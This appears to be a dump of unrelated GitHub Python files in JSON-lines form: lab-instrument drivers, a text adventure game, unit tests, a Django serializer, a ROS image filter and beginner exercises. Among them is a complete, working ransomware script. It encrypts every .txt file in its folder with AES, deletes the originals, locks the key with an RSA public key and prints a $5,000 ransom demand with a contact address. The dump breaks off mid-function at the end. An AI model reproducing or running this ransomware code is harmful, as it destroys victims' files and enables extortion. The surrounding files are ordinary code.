self.interface.write(f'DISP:WIND1:TRAC{j+1}:FEED \"M_{s}\"')\n time.sleep(0.1)\n self.interface.write(f'DISP:WIND1:TRAC{j+1}:Y:AUTO')\n\n self.interface.write('SENS1:SWE:TIME:AUTO ON')\n self.interface.write(\"SENS:SWE:MODE CONT\")\n\n def reaverage(self):\n \"\"\" Restart averaging and block until complete.\"\"\"\n if self.averaging_enable:\n self.averaging_restart()\n #trigger after the requested number of points has been averaged\n self.interface.write(\"SENSe1:SWEep:GROups:COUNt %d\"%self.averaging_factor)\n self.interface.write(\"ABORT; SENSe1:SWEep:MODE GRO\")\n else:\n #restart current sweep and send a trigger\n self.interface.write(\"ABORT; SENS:SWE:MODE SING\")\n\n meas_done = False\n self.interface.write('*OPC')\n print(int(self.interface.ESR()) & 0x1)\n while not meas_done:\n time.sleep(0.5)\n opc_bit = int(self.interface.ESR()) & 0x1\n # print(opc_bit)\n if opc_bit == 1:\n meas_done = True\n\n def _raw_query(self, string, size=16):\n \"\"\"Some Agilent VNAs are stupid and do not understand VISA query commands for large binary transfers.\n Hack around this. The raw read size seems to be safe with 16 bytes per read but this might need to be changed?\n \"\"\"\n self.interface.write(string)\n block = self.interface.read_raw(size=size)\n offset, data_length = util.parse_ieee_block_header(block)\n return util.from_ieee_block(block, 'f', True, np.array)\n\n def _raw_query_bytes(self, string, size=1024):\n \"\"\"Some combinations of Agilent VNAs and minimum MTUs don't work so brute force by manually reading bytes from the wire.\n \"\"\"\n self.interface.write(string)\n #IEEE header format is #\n header = self.interface._resource.read_bytes(2)\n ndig = int(header.decode()[-1])\n nbytes = int(self.interface._resource.read_bytes(ndig).decode())\n bytes_read = 0\n data = b''\n while ((bytes_read + size) < nbytes):\n data += self.interface._resource.read_bytes(size)\n bytes_read += size\n data += self.interface._resource.read_bytes(nbytes - bytes_read)\n #Read the termination to clear VISA buffer\n self.interface._resource.read_bytes(1)\n return util.from_binary_block(data, 0, None, 'f', True, np.array)\n\n\n def get_trace(self, measurement=None, restart_measurement=True):\n \"\"\" Return a tuple of the trace frequencies and corrected complex points. By default returns the data for the\n first acive measurement. Pass an S-parameter (i.e. `S12`) as the `measurement` keyword argument to access others.\"\"\"\n #If the measurement is not passed in just take the first one\n if measurement is None:\n mchan = list(self.measurements.values())[0]\n else:\n if measurement not in self.measurements.keys():\n raise ValueError(f\"Unknown measurement: {measurement}. Available: {self.measurements.keys()}.\")\n mchan = self.measurements[measurement]\n #Select the measurment\n self.interface.write(\":CALCulate:PARameter:SELect '{}'\".format(mchan))\n if restart_measurement:\n self.reaverage()\n #Take the data as interleaved complex values\n if self.data_query_raw:\n interleaved_vals = self._raw_query_bytes(\":CALC:DATA? SDATA\")\n else:\n interleaved_vals = self.interface._resource.query_binary_values(':CALC:DATA? SDATA', datatype=\"f\", is_big_endian=True, expect_termination=False)\n\n self.interface.write(\"SENS:SWE:MODE CONT\")\n vals = np.array(interleaved_vals[::2]) + 1j*np.array(interleaved_vals[1::2])\n #Get the associated frequencies\n freqs = np.linspace(self.frequency_start, self.frequency_stop, self.num_points)\n return (freqs, vals)\n\nclass AgilentN5230A(_AgilentNetworkAnalyzer):\n \"\"\"Agilent N5230A 4-port 20GHz VNA.\"\"\"\n ports = (1, 2, 3, 4)\n data_query_raw = False\n\nclass AgilentE8363C(_AgilentNetworkAnalyzer):\n \"\"\"Agilent E8363C 2-port 40GHz VNA.\"\"\"\n ports = (1, 2)\n data_query_raw = False\n\nclass AgilentN9010A(SCPIInstrument):\n \"\"\"Agilent N9010A SA\"\"\"\n instrument_type = \"Spectrum Analyzer\"\n\n frequency_center = FloatCommand(scpi_string=\":FREQuency:CENTer\")\n frequency_span = FloatCommand(scpi_string=\":FREQuency:SPAN\")\n frequency_start = FloatCommand(scpi_string=\":FREQuency:STARt\")\n frequency_stop = FloatCommand(scpi_string=\":FREQuency:STOP\")\n\n num_sweep_points = FloatCommand(scpi_string=\":SWEep:POINTs\")\n resolution_bandwidth = FloatCommand(scpi_string=\":BANDwidth\")\n video_bandwidth = FloatCommand(scpi_string=\":BANDwidth:VIDeo\")\n video_auto = BoolCommand(get_string=\":BANDwidth:VIDEO:AUTO?\",\n set_string=\":BANDwidth:VIDEO:AUTO {:s}\",\n value_map={False: \"0\", True: \"1\"})\n sweep_time = FloatCommand(scpi_string=\":SWEep:TIME\")\n averaging_count = IntCommand(scpi_string=':AVER:COUN')\n\n marker1_amplitude = FloatCommand(scpi_string=':CALC:MARK1:Y')\n marker1_position = FloatCommand(scpi_string=':CALC:MARK1:X')\n\n mode = StringCommand(scpi_string=\":INSTrument\", allowed_values=[\"SA\", \"BASIC\", \"PULSE\", \"PNOISE\"])\n\n # phase noise application commands\n pn_offset_start = FloatCommand(scpi_string=\":LPLot:FREQuency:OFFSet:STARt\")\n pn_offset_stop = FloatCommand(scpi_string=\":LPLot:FREQuency:OFFSet:STOP\")\n pn_carrier_freq = FloatCommand(scpi_string=\":FREQuency:CARRier\")\n\n def __init__(self, resource_name=None, *args, **kwargs):\n super(AgilentN9010A, self).__init__(resource_name, *args, **kwargs)\n\n def connect(self, resource_name=None, interface_type=None):\n if resource_name is not None:\n self.resource_name = resource_name\n #If we only have an IP address then tack on the raw socket port to the VISA resource string\n if is_valid_ipv4(self.resource_name):\n self.resource_name += \"::5025::SOCKET\"\n super(AgilentN9010A, self).connect(resource_name=self.resource_name, interface_type=interface_type)\n self.interface._resource.read_termination = u\"\\n\"\n self.interface._resource.write_termination = u\"\\n\"\n self.interface._resource.timeout = 3000 #seem to have trouble timing out on first query sometimes\n\n def get_axis(self):\n return np.linspace(self.frequency_start, self.frequency_stop, self.num_sweep_points)\n\n def get_trace(self, num=1):\n self.interface.write(':FORM:DATA REAL,32')\n return self.interface.query_binary_values(\":TRACE:DATA? TRACE{:d}\".format(num),\n datatype=\"f\", is_big_endian=True)\n\n def get_pn_trace(self, num=3):\n # num = 3 is raw data\n # num = 4 is smoothed data\n # returns a tuple of (freqs, dBc/Hz)\n self.interface.write(\":FORM:DATA ASCII\")\n response = self.interface.query(\":FETCH:LPLot{:d}?\".format(num))\n xypts = np.array([float(x) for x in response.split(',')])\n return xypts[::2], xypts[1::2]\n\n def restart_sweep(self):\n \"\"\" Aborts current sweep and restarts. \"\"\"\n self.interface.write(\":INITiate:RESTart\")\n\n def peak_search(self, marker=1):\n self.interface.write(':CALC:MARK{:d}:MAX'.format(marker))\n\n def marker_to_center(self, marker=1):\n self.interface.write(':CALC:MARK{:d}:CENT'.format(marker))\n\n @property\n def marker_Y(self, marker=1):\n \"\"\" Queries marker Y-value.\n\n Args:\n marker (int): Marker index (1-12).\n Returns:\n Trace value at selected marker.\n \"\"\"\n return self.interface.query(\":CALC:MARK{:d}:Y?\".format(marker))\n\n @property\n def marker_X(self, marker=1):\n \"\"\" Queries marker X-value.\n\n Args:\n marker (int): Marker index (1-12).\n Returns:\n X axis value of selected marker.\n \"\"\"\n return self.interface.query(\":CALC:MARK{:d}:X?\".format(marker))\n\n @marker_X.setter\n def marker_X(self, value, marker=1):\n \"\"\"Sets marker X-value.\n\n Args:\n value (float): Marker x-axis value to set.\n marker (int): Marker index (1-2).\n Returns:\n None.\n \"\"\"\n self.interface.write(\":CALC:MARK{:d}:X {:f}\".format(marker, value))\n\n def noise_marker(self, marker=1, enable=True):\n \"\"\"Set/unset marker as a noise marker for noise figure measurements.\n\n Args:\n marker (int): Index of marker, [1,12].\n enable (bool): Toggles between noise marker (True) and regular marker (False).\n Returns:\n None.\n \"\"\"\n if enable:\n self.interface.write(\":CALC:MARK{:d}:FUNC NOISe\".format(marker))\n else:\n self.interface.write(\":CALC:MARK{:d}:FUNC OFF\".format(marker))\n\n def clear_averaging(self):\n self.interface.write(':AVER:CLE')\n","repo_name":"BBN-Q/Auspex","sub_path":"src/auspex/instruments/agilent.py","file_name":"agilent.py","file_ext":"py","file_size_in_byte":51769,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"31"} +{"seq_id":"18417467648","text":"#Dranon Island\nimport random\nimport time\ndef cyy():#创立一个函数\n print('''恭喜你闯过了第一关!\n不过你的路还很长,\n接下来你需要探索这座岛,\n找到宝库,也许智者会告诉你如何离开!''')#简介\n time.sleep(2)#等待2s\n land = ['草地','高山','池塘','火山','黑森林','森林','废墟','神殿','沙漠','沼泽','矿洞','大海','宝库' ] #创立一个地点列表备用\n thing = ['一条龙','一个哥布林','一个巨人','一个机器人']#创建一个人物列表备用\n Do = ['它攻击了你!你死了!','它走开了','它没看到你']#创立一个动作列表备用\n option = random.choice(land)#随机选择一个地点\n optionT = random.choice(thing)#随机选择一个人物\n DO = random.choice(Do)#随机选择一个动作\n\n while option != '宝库':#创立一个while循环,直到随机选中“宝库”\n print('你进入了' + option + ',遇到了' + optionT)#设立一个语境,将随机选中的词语填充入内\n print('你要做什么?(输入一个字符)')#让用户选择一个动作\n input()\n time.sleep(2)\n print(DO)#打印结果\n if DO == '它攻击了你!你死了!':\n print(DO)\n break\n option = random.choice(land)\n optionT = random.choice(thing)\n DO = random.choice(DO)#每次循环刷新一遍\n if option == '宝库':\n print('Goodjob!你找到了宝库!智者告诉了你...(见下一部:Dranon Island II)')#如果选中宝库,那么,结束游戏\n\ndef intro():\n print('''欢迎来到龙之岛.\n你眼前有两个山洞,\n里面分别有两条龙:一条温顺友好;一条凶恶残忍.\n选择权在你手中,自己作出选择吧!''')\n print()#设置开始句\n\ndef chooseCave():\n cave = ''\n while cave != '1' and cave != '2':\n print('选择一个洞穴吧!(1或2)')\n cave = input()#让用户选择一个洞穴\n\n return cave#如果用户写出了正确的洞穴,则跳出这个循环\n\ndef checkCave(chosenCave):\n print('你进入了山洞...')\n time.sleep(2)\n\n friendlyCave = random.randint(1,2)\n\n if chosenCave == str(friendlyCave):\n print('干的好...')\n time.sleep(2)\n print('你进入了温顺龙的洞穴!它给了你...')\n time.sleep(2)\n print('''宝库的钥匙!\n ''')\n cyy() \n else:\n print('干的好...')\n time.sleep(2)\n print('''你被凶恶龙一口吃了!oops!\n ''')\n #设置两种情况\n\nplayAgain = 'Yes'\nwhile playAgain == 'Yes' or playAgain == 'Y':#设立一个检测用户键入的程序\n intro()\n caveNumber = chooseCave()\n checkCave(caveNumber)#执行步骤\n\n print('想再来一局不?(Yes or No)')#询问用户是否愿意再来一局\n playAgain = input()#检测键入\n\n","repo_name":"Eason3-0/Dragon-Island-First-Start","sub_path":"Plaintext-Edition/Dragon Island1.py","file_name":"Dragon Island1.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"33113763565","text":"import numpy as np\nfrom numpy.testing import assert_array_equal\nfrom geist.similar_images import is_similar, find_similar_in_repo\nfrom geist import GUI, DirectoryRepo\nfrom geist.pyplot import Viewer\nfrom geist.backends.fake import GeistFakeBackend\nimport unittest\n\n# use same test cases as for testing vision, but need a non binary test as well\nclass TestSimilarity(unittest.TestCase):\n def setUp(self):\n self.repo = DirectoryRepo('test_repo')\n self.gui = GUI(GeistFakeBackend())\n self.V = Viewer(self.gui, self.repo)\n # first need to save some images to repo\n self.image = np.array([[0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0],\n [0, 0, 1, 0, 0],\n [0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0]])\n self.image2 = np.array([[0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0, 0, 0],\n [0, 0, 1, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0]])\n self.image3 = np.array([[[255,0,0],[240,10,10],[0,255,0],[0,0,255]]], dtype=np.int32)\n self.V._save('test_file_1', self.image, force=True)\n self.V._save('test_file_2', self.image2, force=True)\n self.V._save('test_file_3', self.image3, force=True)\n \n def test_no_match(self):\n blank = np.zeros((100, 100))\n template = np.array([[0, 1], [1, 0]])\n\n expected = []\n result = is_similar(template, blank)\n self.assertFalse(result)\n\n def test_match(self):\n image = np.array([[0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 1, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0]])\n template = np.array([[0, 1], [1, 0]])\n result = is_similar(template, image)\n self.assertEqual(result, \"matches exist- size different\")\n \n def test_similar_size(self):\n template = np.array([[0, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0, 0],\n [0, 0, 1, 0, 0, 0],\n [0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0]])\n result = is_similar(template, self.image, size_tolerance=0.2)\n self.assertTrue(result)\n \n def test_colour(self):\n result = is_similar(self.image3, self.image3)\n self.assertTrue(result)\n \n def test_colour_size_different(self):\n template = np.array([[[255,0,0],[240,10,10]]], dtype=np.int32)\n result = is_similar(template, self.image3)\n self.assertEqual(result, \"matches exist- size different\")\n \n def test_find_similar_in_repo_similar(self):\n similar, different_size, no_match = find_similar_in_repo(self.image, self.repo, size_tolerance=0.2)\n self.assertListEqual(similar, ['test_file_1'])\n\n \n def test_find_similar_in_repo_different_size(self):\n similar, different_size, no_match = find_similar_in_repo(self.image, self.repo, size_tolerance=0.2)\n self.assertListEqual(different_size, ['test_file_2'])\n \n def test_find_similar_in_repo_similar_no_match(self):\n similar, different_size, no_match = find_similar_in_repo(self.image, self.repo, size_tolerance=0.2)\n self.assertListEqual(no_match, ['test_file_3'])\n \n def test_find_similar_in_repo_similar_no_match_2(self):\n image = np.array([[1,1],[1,1]])\n similar, different_size, no_match = find_similar_in_repo(image, self.repo, size_tolerance=0.2)\n self.assertListEqual(sorted(no_match), sorted(['test_file_1', 'test_file_2', 'test_file_3']))\n\n def tearDown(self):\n if 'test_file_1' in self.repo.entries:\n del self.repo['test_file_1'] \n if 'test_file_2' in self.repo.entries:\n del self.repo['test_file_2'] \n if 'test_file_3' in self.repo.entries:\n del self.repo['test_file_3'] \n \n\nsimilar_suite = unittest.TestLoader().loadTestsFromTestCase(TestSimilarity)\nall_tests = unittest.TestSuite([similar_suite])\nif __name__ == \"__main__\":\n runner = unittest.TextTestRunner(verbosity=1)\n runner.run(all_tests)\n","repo_name":"ten10solutions/Geist","sub_path":"geist_tests/test_similar.py","file_name":"test_similar.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"38433902830","text":"from django.db import transaction\nfrom rest_framework import serializers\n\nfrom swp.api.serializers.fields import MonitorField\nfrom swp.api.serializers.publicationfilter import PublicationFilterSerializer\nfrom swp.models import Publication, PublicationFilter, ThinktankFilter\nfrom swp.models.publicationfilter import as_query\nfrom swp.models.thinktankfilter import as_query as as_thinktank_filter_query\n\n\nclass ThinktankFilterSerializer(serializers.ModelSerializer):\n filters = PublicationFilterSerializer(source='publication_filters', many=True, required=False)\n publication_count = serializers.IntegerField(read_only=True)\n new_publication_count = serializers.IntegerField(read_only=True)\n monitor = MonitorField(read_only=True)\n\n class Meta:\n model = ThinktankFilter\n fields = [\n 'id',\n 'name',\n 'monitor',\n 'thinktank',\n 'filters',\n 'publication_count',\n 'new_publication_count',\n 'last_publication_count_update',\n ]\n\n @transaction.atomic\n def create(self, validated_data):\n publication_filters = validated_data.pop('publication_filters', [])\n\n thinktank_filter = super().create(validated_data)\n self.create_publication_filters(thinktank_filter, publication_filters)\n\n return thinktank_filter\n\n def create_publication_filters(self, thinktank_filter, publication_filters):\n PublicationFilter.objects.bulk_create([\n PublicationFilter(thinktank_filter=thinktank_filter, **filter) for filter in publication_filters\n ])\n\n @transaction.atomic\n def update(self, instance, validated_data):\n publication_filters = validated_data.pop('publication_filters', [])\n\n thinktank_filter = super().update(instance, validated_data)\n self.update_publication_filters(instance, publication_filters)\n\n return thinktank_filter\n\n def update_publication_filters(self, thinktank_filter, publication_filters):\n ids = [filter.get('id') for filter in publication_filters if filter.get('id')]\n\n PublicationFilter.objects.filter(thinktank_filter=thinktank_filter).exclude(pk__in=ids).delete()\n\n for filter in publication_filters:\n id = filter.get('id')\n\n if id:\n PublicationFilter.objects.filter(thinktank_filter=thinktank_filter, pk=id).update(**filter)\n else:\n PublicationFilter.objects.create(thinktank_filter=thinktank_filter, **filter)\n\n def preview(self):\n thinktank = self.validated_data.get('thinktank')\n publication_filters = self.validated_data.get('publication_filters', [])\n queries = [\n as_query(\n publication_filter.get('field'),\n publication_filter.get('comparator'),\n publication_filter.get('values'),\n )\n for publication_filter in publication_filters\n ]\n\n query = as_thinktank_filter_query(thinktank, queries)\n\n return Publication.objects.active().filter(query)\n","repo_name":"swp-berlin/webmonitor","sub_path":"swp/api/serializers/thinktankfilter.py","file_name":"thinktankfilter.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"27905025023","text":"import sqlite3\nimport json\n\njobs = []\ncon = sqlite3.connect(r\"c:\\classroom\\mar16\\hr.db\")\ncur = con.cursor()\ncur.execute(\"select * from jobs\")\n\nfor row in cur.fetchall():\n jobs.append({'id': row[0], 'title': row[1], 'minsalary': row[2]})\n\nf = open(\"jobs.json\", \"wt\")\njson.dump(jobs, f)\nprint(\"Wrote jobs to jobs.json\")\ncon.close()\n","repo_name":"srikanthpragada/PYTHON_16_MAR_2020","sub_path":"demo/db/convert_to_json.py","file_name":"convert_to_json.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11728962885","text":"from PySide2.QtWidgets import *\nfrom PySide2.QtGui import *\nfrom PySide2.QtCore import *\n\nclass ColourPicker():\n kelly_colour_vals = (0x222222, 0xf3c300, 0x875692, 0xf38400, 0xa1caf1, 0xbe0032, 0xc2b280, 0x848482, 0x008856, 0xe68fac, 0x0067a5, 0xf99379, 0x604e97, 0xf6a600, 0xb3446c, 0xdcd300, 0x882d17, 0x8db600, 0x654522, 0xe25822, 0x2b3d26) #note: white has been removed\n\n colours = [QColor.fromRgb(c) for c in kelly_colour_vals]\n\n def __init__(self):\n self.next_index = 0\n self.cache = {} #key -> colour_index\n\n def get(self, key):\n if key in self.cache:\n index = self.cache[key]\n colour = ColourPicker.colours[index]\n else:\n colour = ColourPicker.colours[self.next_index]\n self.cache[key] = self.next_index\n self.next_index = (self.next_index + 1) % len(ColourPicker.colours)\n\n return colour\n\n @Slot()\n def reset(self):\n self.cache.clear()\n self.next_index = 0\n \n \n","repo_name":"umfranzw/multicellular-grn","sub_path":"vis/ColourPicker.py","file_name":"ColourPicker.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39121200690","text":"#-*- coding: utf-8 -*- \nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nfrom Crypto.Random import get_random_bytes\nfrom base64 import b64encode, b64decode\nimport os, sys, glob\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_OAEP\n\nkey = get_random_bytes(16) # AES 암호화에 사용할 128bits 대칭키를 랜덤으로 생성\n\n#=== Read text from .txt file ===#\nfor file in glob.glob(\"*.txt\"):\n\tfilename = str(file).split('.')[0]\n\tinFileObj = open(file, 'rt', encoding='UTF8')\n\tmsg = inFileObj.read().encode('UTF8')\n\tinFileObj.close()\n\n\tcipher = AES.new(key, AES.MODE_CBC)\n\tcipher_msg = cipher.encrypt(pad(msg, AES.block_size))\n\n\tiv = b64encode(cipher.iv).decode('utf-8') # iv를 이용해서 이후 복호화에 사용\n\n\tivFileName = str(filename)+'_iv.txt'\n\tivFileObj = open(\"iv/\"+ivFileName, 'w', encoding='UTF8')\n\tivFileObj.write(iv)\n\tivFileObj.close()\n\n\t#=== Write Ciphertext to .enc file ===#\n\tout_file_name = str(filename)+'.enc'\n\toutFileObj = open(out_file_name, 'w', encoding='UTF8')\n\toutFileObj.write(b64encode(cipher_msg).decode('utf-8')) #ct value\n\toutFileObj.close()\n\tos.remove(file)\n\n# 대칭키를 RSA 공개키 알고리즘을 이용해 암호화하고, key.bin에 저장한다.\nrecipient_key = RSA.import_key(open(\"pkey/receiver.pem\").read())\nkey_out = open(\"key.bin\",\"wb\")\ncipher_rsa = PKCS1_OAEP.new(recipient_key)\nenc_key = cipher_rsa.encrypt(key) # 대칭키를 RSA 공개키로 암호화해서 저장\nkey_out.write(enc_key)\nkey_out.close()\n\"\"\"\"\"\"\nprint(\"Your text files are encrypted.\")\nprint(\"To decrypt them, you need to pay me $5,000 and send key.bin in your folder to [dotsi@ewhain.net].\")\n","repo_name":"ottlseo/hacking-lab","sub_path":"txt-encrypt-ransomware/ransomware.py","file_name":"ransomware.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13859668930","text":"#!/usr/bin/python\n\nimport rospy\nimport cv2\nfrom sensor_msgs.msg import Image\nfrom stereo_msgs.msg import DisparityImage\nfrom cv_bridge import CvBridge, CvBridgeError\nimport numpy as np\n\nbridge = CvBridge()\nkernel = np.ones((15,15), np.uint8)\n\n#cv2.startWindowThread()\n#cv2.namedWindow('before', cv2.WINDOW_NORMAL)\n#cv2.startWindowThread()\n#cv2.namedWindow('after', cv2.WINDOW_NORMAL)\n\ndef disparityCallback(msg):\n\t'''\n\tCallback function for the disparity images.\n\tApplies an OpenCV closing operation on the received image and publishes the result.\n\t'''\n\tglobal disparity_pub, bridge, kernel\n\ttry:\n\t\timg = bridge.imgmsg_to_cv2(msg.image, desired_encoding=\"8UC1\")\n\t\tres = cv2.morphologyEx(img, cv2.MORPH_CLOSE, kernel)\n\t\tres = cv2.blur(res, (5,5))\n\t\t#cv2.imshow('before',img)\n\t\t#cv2.imshow('after',res)\n\t\tmsg.image = bridge.cv2_to_imgmsg(res)\n\texcept CvBridgeError as e:\n\t\trospy.logerr(\"Error converting images: %s\", e)\n\t\t\n\tdisparity_pub.publish(msg)\n\nif __name__ == '__main__':\n\t'''\n\tMain function that starts the ROS subscribers and publishers.\n\t'''\n\trospy.init_node('disparityFixer')\n\timage_sub = rospy.Subscriber(\"/camera/disparity\", DisparityImage, disparityCallback)\n\tdisparity_pub = rospy.Publisher(\"/disparity\", DisparityImage, queue_size=10)\n\t\n\trospy.loginfo(\"Started\")\n\trospy.spin()\n\trospy.loginfo(\"Stopped\")\n","repo_name":"ChielBruin/tomatenplukkers","sub_path":"catkin_ws/src/kpr_image_processing/src/disparityFixer.py","file_name":"disparityFixer.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"12190354288","text":"def near_thousand(n):\n return ((abs(1000 - n) <= 100) or (abs(2000 - n) <= 100))\nprint(near_thousand(1000))\nprint(near_thousand(900))\n\ndef sum_three(a,b,c):\n sum1=a+b+c\n if a==b==c:\n sum1=sum1*3\n return sum1\n\nprint (sum_three(2,2,2))\nprint (sum_three(1,2,3))\n\n#Write a Python program to get a new string from a given string where \"Is\" has been added to the front. If the given string already begins with \"Is\" then return the string unchanged.\ndef is_string(st_name):\n if len(st_name) >= 2 and st_name[:2]==\"IS\":\n return st_name\n return \"IS\"+ st_name\n\nprint (is_string(\"Arry\"))\nprint (is_string(\"IS Empty\"))\n\n#Write a Python program to find whether a given number (accept from the user) is even or odd, print out an appropriate message to the user.\ndef even_odd(num):\n if num%2 == 0:\n print (\"Event NUmber\")\n else:\n print (\"Odd number\")\n\neven_odd(5)\n\n#Write a Python program to count the number 4 in a given list.\ndef count_num(num_list):\n count=0\n for num in num_list:\n if num == 4:\n count=count+1\n\n return count\n\nprint (count_num([1,2,3,4,4,4,5,6]))\nprint (count_num([4,2,3,4,4,4,5,6]))\nprint (count_num([1,2,3,2,2,2,5,6]))\n\n#Write a Python program to get the n (non-negative integer) copies of the first 2 characters of a given string. Return the n copies of the whole string if the length is less than 2.\ndef return_str(val):\n if len(val) > 2:\n print (val[:2])\n else:\n print(val*5)\n\n\nreturn_str(\"Satesh\")\nreturn_str(\"ST\")\n\n#Write a Python program to test whether a passed letter is a vowel or not.\ndef vowel(letr):\n if type(letr) == str:\n if letr in ['a','e','i','o','u','A','E','I','O','U']:\n print (\"VOWEL\")\n else:\n print (\"Not VOWEL\")\n else:\n print (\"Enter only String\")\n\nvowel (\"A\")\nvowel (\"L\")\nvowel(4)\n\ndef isinlist(n):\n if n in [1, 5, 8, 3]:\n return True\n else:\n return False\nprint (isinlist(3))\nprint (isinlist(-1))\n\ndef isinlist(list_item, n):\n if n in list_item:\n return True\n else:\n return False\nprint (isinlist([1, 5, 8, 3],3))\nprint (isinlist([1, 5, 8, 3],-1))\n\ndef isinlist(list_item, n):\n for value in list_item:\n if n==value:\n return True\n return False\n\nprint (isinlist([1, 5, 8, 3],3))\nprint (isinlist([1, 5, 8, 3],-1))\n\n#Write a Python program to create a histogram from a given list of integers.\n#without Array\ndef histrogram(list1):\n for n in list1:\n outlist=''\n while n >= 1:\n outlist+='*'\n n-=1\n print (outlist)\nhistrogram([2,2,5,6,7,0])\n#wih Array\ndef histrogram(list1):\n outlist=[]\n for n in list1:\n while n >= 1:\n outlist.append('*')\n n-=1\n print (outlist)\n outlist.clear()\nhistrogram([2,2,5,6,7,0])\n\n#Write a Python program to concatenate all elements in a list into a string and return it.\ndef concate(list_item):\n str1=''\n for n in list_item:\n str1+=n\n return str1\nprint (concate(['w','e','r','t','y']))\nprint (concate(['3','4','7','9','10']))\n\n#Write a Python program to print all even numbers from a given numbers list in the same order and stop the printing if any numbers that come after 237 in the sequence.\ndef evennum(list_item):\n for n in list_item:\n if n != 237:\n if n%2 == 0:\n print (n)\n else:\n break\n\nnumbers = [\n 386, 462, 47, 418, 907, 344, 236, 375, 823, 566, 597, 978, 328, 615, 953, 345,\n 399, 162, 758, 219, 918, 237, 412, 566, 826, 248, 866, 950, 626, 949, 687, 217,\n 815, 67, 104, 58, 512, 24, 892, 894, 767, 553, 81, 379, 843, 831, 445, 742, 717,\n 958,743, 527\n ]\nevennum(numbers)\n\n#Write a Python program to print out a set containing all the colors from color_list_1 which are not present in color_list_2.\ncolor_list_1 = set([\"White\", \"Black\", \"Red\"])\ncolor_list_2 = set([\"Red\", \"Green\"])\nprint (color_list_1.difference(color_list_2))\n\n#Write a Python program to add two objects if both objects are an integer type\n\n\ndef addtwo(a,b):\n if not ((isinstance(a,int)) and (isinstance(b,int))):\n print (\"Enter Integer value\")\n else:\n print (a+b)\n\naddtwo('cc',9)\n","repo_name":"rnaidu999/MyLearnings","sub_path":"Numberin.py","file_name":"Numberin.py","file_ext":"py","file_size_in_byte":4223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12385234033","text":"from circle import Circle\nfrom car import Car\nfrom dice import Dice\n\ndef calc_circle(r, x, y):\n\n circle = Circle(r, x, y)\n\n print(\"The circumference of a circle with a radius of {} at position {}, {} = {}\".format(r, x, y, round(circle.circumference(), 2)))\n print(\"The area of a circle with a radius of {} at position {}, {} = {}\".format(r, x, y, round(circle.area(), 2)))\n print(\"The top point of a circle with a radius of {} at position {}, {} = {}\".format(r, x, y, circle.top_point()))\n print(\"The right point of a circle with a radius of {} at position {}, {} = {}\".format(r, x, y, circle.right_point()))\n\nradius = int(input(\"Please enter a radius: \"))\ncenter_x = int(input(\"Please enter coordinates for X position: \"))\ncenter_y = int(input(\"Please enter coordinates for Y position: \"))\n\ncalc_circle(radius, center_x, center_y)\n\n\ndef calc_speed(y, m, a, b):\n\n car = Car(y, m)\n\n for i in range(0, 5):\n car.accelerate(a)\n print(\"Car accelerating at {}mph\".format(a))\n\n print(\"Current speed of car: {}mph\".format(car.get_speed()))\n\n for i in range(0, 5):\n car.brake(b)\n print(\"Car decelerating at {}mph\".format(b))\n\n print(\"Current speed of car: {}mph\".format(car.get_speed()))\n\nmodel = raw_input(\"Please enter the model of the car: \")\nmake = raw_input(\"Please enter the make of the car: \")\naccelerate = int(input(\"Please enter the speed to accelerate at: \"))\nbrake = int(input(\"Please enter the speed to decelerate at: \"))\n\ncalc_speed(model, make, accelerate, brake)\n\ndef roll_dice(r):\n\n dice = Dice()\n\n for i in range(1, r + 1):\n dice.roll()\n print(\"Loop {}: {}\".format(i, dice.get_roll()))\n\n print(\"Snake eyes appeared {} times\".format(dice.get_count()))\n\nrolls = int(input(\"How many times would you like to roll the dice? \"))\n\nroll_dice(rolls)","repo_name":"brandanmcdevitt/python.archive","sub_path":"Ulster_University/COM661_Full_Stack_Development/Week_4_Practical_Session/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33601998484","text":"import logging\nfrom tables_primary_keys import tables_primary_keys\n\ndef _check_linkage(tables, key, a, b):\n linked, unlinked = [], []\n ids = [x[key] for x in tables[b]]\n for row in tables[a]:\n if row[key] not in ids:\n unlinked.append(row[key])\n else:\n linked.append(row[key])\n return (linked, unlinked)\n\ndef check_json_for_orphans(tables):\n \"\"\"Check that all entries in the supplied JSON are linked\n i.e. that any sequence has a corresponding sample and, in turn, a strain (or vice versa).\n Similarly for attributions.\n Note that if there are orphans this is not neccessarily an error, but the user should be warned.\n \"\"\"\n logger = logging.getLogger(__name__)\n ## TO DO: this fn assumes that strains, samples & 